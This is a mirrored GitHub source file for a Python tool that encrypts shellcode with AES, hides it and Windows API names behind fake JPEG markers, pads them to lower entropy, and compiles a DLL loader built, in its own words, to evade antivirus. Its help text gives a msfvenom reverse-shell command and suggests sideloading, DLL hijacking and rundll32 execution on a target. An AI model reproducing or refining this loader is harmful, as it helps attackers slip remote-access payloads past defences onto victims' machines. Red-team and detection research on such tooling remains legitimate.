mirror of
https://github.com/restkhz/ShellcodeEncrypt2DLL
synced 2026-06-06 16:34:37 +00:00
145 lines
5.0 KiB
Python
145 lines
5.0 KiB
Python
import sys
|
|
import os
|
|
from Crypto.Cipher import AES
|
|
from os import urandom
|
|
import hashlib
|
|
import argparse
|
|
import subprocess
|
|
|
|
# PUT YOUR KEY HERE!!!
|
|
KEY = "blog.restkhz.com"
|
|
KEY = KEY.encode()
|
|
|
|
strVirtualAlloc = "VirtualAlloc\0"
|
|
strRtlMoveMemory = "RtlMoveMemory\0"
|
|
strCreateThread = "CreateThread\0"
|
|
strVirtualProtect = "VirtualProtect\0"
|
|
|
|
JPG_HEAD = b''.fromhex('ffd8ff')
|
|
JPG_TAIL = b''.fromhex('ffd9') # 00 not in the jpg magic number but just in case
|
|
|
|
|
|
funcList = [strVirtualAlloc, strRtlMoveMemory, strCreateThread, strVirtualProtect]
|
|
|
|
def pad(s):
|
|
block_size = AES.block_size
|
|
padding = block_size - len(s) % block_size
|
|
return s + bytes([padding] * padding)
|
|
|
|
|
|
def aesenc(plaintext, key):
|
|
k = hashlib.sha256(key).digest()
|
|
IV = urandom(16)
|
|
plaintext = pad(plaintext)
|
|
cipher = AES.new(k, AES.MODE_CBC, IV)
|
|
|
|
return IV + cipher.encrypt(plaintext)
|
|
|
|
|
|
def makeHeaderFile(payload):
|
|
encKey = f'#define KEY { ', '.join('0x{:02x}'.format(b) for b in bytearray(KEY))}\n'
|
|
|
|
# payload
|
|
encPayload = aesenc(payload, KEY)
|
|
encPayloadDef = f'#define PAYLOAD {',0x00,'.join('0x{:02x}'.format(b) for b in JPG_HEAD + encPayload + JPG_TAIL)}\n'
|
|
encPayloadEntropyDef = f'#define LOWER_PAYLOAD_ENTROPY {','.join(['0xff']* len(encPayload))}\n'
|
|
|
|
print(encKey, end='')
|
|
print(encPayload, end='')
|
|
|
|
# funcName
|
|
print("\n\nEncrypting functions:")
|
|
encFuncDefList = []
|
|
|
|
# lower func entropy
|
|
encFuncEntropyLen = 0
|
|
|
|
for f in funcList:
|
|
encFunc = aesenc(f.encode(), KEY)
|
|
encFuncDef = f'#define {f.upper().rstrip('\0')} {', '.join(('0x{:02x}'.format(b) for b in JPG_HEAD + encFunc + JPG_TAIL))}\n'
|
|
print(encFuncDef, end='')
|
|
encFuncDefList.append(encFuncDef)
|
|
encFuncEntropyLen += len(encFunc)
|
|
|
|
|
|
# payload and funcname offset
|
|
offsetHead = f'#define OFFSET_HEAD {str(len(JPG_HEAD))}\n'
|
|
offsetTail = f'#define OFFSET_TAIL {str(len(JPG_TAIL))}\n'
|
|
|
|
# insert 0 to lower the entropy by the length of encrypted func name
|
|
encFuncEntropyDef = f'#define LOWER_FUNCNAME_ENTROPY {','.join(['0xff']*encFuncEntropyLen)}\n'
|
|
|
|
f = open("shellcode.h","w")
|
|
f.write(encKey+encPayloadDef + offsetHead + offsetTail +''.join(encFuncDefList) + encFuncEntropyDef + encPayloadEntropyDef )
|
|
f.close()
|
|
print()
|
|
|
|
|
|
# x86_64-w64-mingw32-gcc template.cpp --shared -o test_ns.dll -lcrypt32 -O2 -fvisibility=hidden -Wl,--dynamicbase -Wl,--nxcompat -DNDEBUG -s
|
|
def main():
|
|
parser = argparse.ArgumentParser(
|
|
description="""To generate static AV evaded DLL shellcode loader with AES encrypt.
|
|
|
|
Example:
|
|
|
|
msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 x64/xor_dynamic -f raw > shellcode.raw
|
|
|
|
python ShellcodeEncrypt2Dll.py --non-standalone shellcode.raw
|
|
or
|
|
python ShellcodeEncrypt2Dll.py --standalone shellcode.raw
|
|
""",
|
|
formatter_class=argparse.RawDescriptionHelpFormatter
|
|
)
|
|
|
|
mode_group = parser.add_mutually_exclusive_group(required=True)
|
|
mode_group.add_argument(
|
|
'--standalone',
|
|
action='store_true',
|
|
help='To make an encrypted DLL WITH KEY stored in the DLL. You can use it for sideload/hijack or in a printnightmare-like scenario.'
|
|
)
|
|
mode_group.add_argument(
|
|
'--non-standalone',
|
|
action='store_true',
|
|
help='To make an encrypted DLL WITHOUT KEY stored in the DLL. You can use it for sideload/rundll32 but you need to pass the key.'
|
|
)
|
|
|
|
parser.add_argument(
|
|
'path',
|
|
type=str,
|
|
help='Path to shellcode file.'
|
|
)
|
|
|
|
args = parser.parse_args()
|
|
|
|
f= open(args.path, 'rb')
|
|
payload = f.read()
|
|
makeHeaderFile(payload)
|
|
|
|
if args.standalone:
|
|
print("STANDALONE mode")
|
|
command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden', '-static-libgcc', '-static-libstdc++', '-static', '-DSTANDALONE', '-fpermissive', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'loader.dll']
|
|
print("You can use it for sideload/hijack or in a printnightmare-like scenario.")
|
|
print("Or just simply: rundll32 <path_to_dll>,EPoint")
|
|
|
|
elif args.non_standalone:
|
|
print("NON-STANDALONE mode:")
|
|
command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden','-static-libgcc', '-static-libstdc++', '-static', '-Wl,--dynamicbase', '-fpermissive','-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'loader.dll']
|
|
print(f"Try to run on target: rundll32 <path_to_dll>,EPoint {KEY.decode()}")
|
|
try:
|
|
print("[+] Compiling")
|
|
result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
|
if result.returncode != 0:
|
|
print("[-] Compile Failure:")
|
|
print(result.stderr)
|
|
else:
|
|
print("[+] Done: loader.dll")
|
|
print(result.stdout)
|
|
|
|
except FileNotFoundError:
|
|
print("[-] x86_64-w64-mingw32-g++ didn't work out properly or wasn't found.\nTry: \"sudo apt install mingw-w64\"")
|
|
sys.exit(1)
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main()
|